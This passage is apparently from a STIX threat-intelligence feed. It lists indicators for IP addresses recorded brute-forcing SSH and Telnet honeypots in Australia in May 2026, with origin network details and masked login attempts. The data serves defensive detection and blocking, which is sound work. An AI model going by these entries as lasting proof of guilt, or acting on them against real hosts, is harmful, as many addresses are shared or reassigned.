      "id": "indicator--ffab0acf-2f6a-4709-9e68-7fc0174baa51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.202.103.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271632. Organisation(s): MIRANTE NETWORK COMUNICACAO LTDA.",
      "id": "indicator--a4ee9a8e-81a1-4151-97ed-64edf665f2d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.172.192.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266962. Organisation(s): G M DA COSTA INTERNET.",
      "id": "indicator--32fa893e-7cf3-4516-b502-21458069e698",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.226.127.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4ad46da8-90b5-40cd-aabf-c43c74eb3f14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.122.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bc25c639-346b-4761-a418-9513fb4ca896",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.201.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dbfa0b54-3816-4c04-b420-da7537394cb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.47.188.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--aa6d7d14-dbed-41f3-b5f6-dc8a3818e0b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.18.11.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9f973895-a9a6-451a-93b5-c84ff5ef3eec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.184.64.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--6de29c0e-304d-4f5e-b7ad-df6fcd9ac078",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.85.183.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 65. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, ***, d*****r, d**************r, ***. Passwords observed (masked): 1****6, H*******3, P******3, d*****r, d*****************3.",
      "id": "indicator--87e98c9d-c0c9-4c2d-b872-59fbdc97a106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.217.193.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--957f2728-4aaa-4eb6-9355-d7180793c34a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.41.28.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--dacf9abd-94d6-4a42-a456-64ac49e6901c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.196.24.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:15:06.000Z",
      "valid_until": "2026-06-22T08:15:03.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328510. Organisation(s): ikeja.",
      "id": "indicator--f5f98589-03bb-4a0e-892b-c987ada55341",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.38.104.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--2d625f2e-35d8-4303-a9d4-820b68c0b794",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.123.111.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a6626f5d-aca3-406e-958e-8d07a6e06d87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.179.92.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2f052c1d-fcb9-43ce-a86c-5a9dc65d958a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.216.150.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--cbc67404-e744-404b-aa62-ce19b895e6da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.210.81.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--9fc71a66-28ab-4e4f-815d-76ae5859b317",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.90.7.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--894d9ac0-745a-41a2-8d5b-ef6b02cc6583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.46.130.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6079. Organisation(s): RCN.",
      "id": "indicator--e8a2b56d-2093-4695-a77c-fe8cc0461be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.58.104.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cb9a4bfd-02d3-4ea3-b891-0f4f10d3044e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.246.40.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--44b53a1b-163b-4b1c-991a-10ca473c2803",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.18.75.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11427. Organisation(s): Charter Communications Inc.",
      "id": "indicator--98578bed-2d71-4f81-ab73-b90fff1840fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.146.30.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--dc5a45a1-5f46-4e9c-82e3-fd7c4598cdc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.205.160.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--55a82b96-6ee7-4e8f-8f89-89d4f563c57f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.99.227.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:15:12.000Z",
      "valid_until": "2026-06-22T09:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--59ef0ddf-4062-4472-9d96-e686cb3a1a60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.182.15.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 463. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, c***p, **, k*******n. Passwords observed (masked): 3***********4, 3**********4, 1****6, 0****1, a***1.",
      "id": "indicator--66193f7e-a616-40e7-9a60-473220ebe6fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.250.11.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--6fbfd14a-ff80-498a-b28c-b38aa41c48f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.28.49.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 328. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, 3**********4, c***i, n******n, v********e. Passwords observed (masked): 1****6, 3***********4, 3**********4, p******d, D******1.",
      "id": "indicator--157b6992-1b78-4653-9430-f88ca03c69c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.200.205.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 386. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, c***p, k*******n, t****r. Passwords observed (masked): 3***********4, 3**********4, 1****6, 0****1, D******1.",
      "id": "indicator--26880c24-11c9-48cb-983d-08bf78918d8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.42.196.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--f1cb25b4-6817-4d39-aab7-868ddb5fbcc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.83.57.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 450. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262481. Organisation(s): VERO S.A. Usernames observed (masked): r**t, 3**********4, c***p, k*******n, t****r. Passwords observed (masked): 3***********4, 3**********4, 1****6, D******1, a***1.",
      "id": "indicator--6f806bdb-9f9e-4f56-8e90-65d06dc0970f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.53.247.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--9c4d6661-f332-4412-ae56-80bfaef9bbd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.145.212.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--1ad0478e-7872-4579-918c-df1c0bf32274",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.35.245.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 391. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): r**t, 3**********4, c***p, t****r, z**o. Passwords observed (masked): 1****6, 3***********4, 3**********4, 0****1, D******1.",
      "id": "indicator--ea72f9a6-c04e-4f09-bc86-155a20358c1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.48.91.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ee5e3444-250e-44f8-81ae-48cf3ffcfdeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.123.208.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:15:10.000Z",
      "valid_until": "2026-06-22T10:15:08.000Z"
    },
    {
      "created": "2026-05-21T10:15:10.000Z",
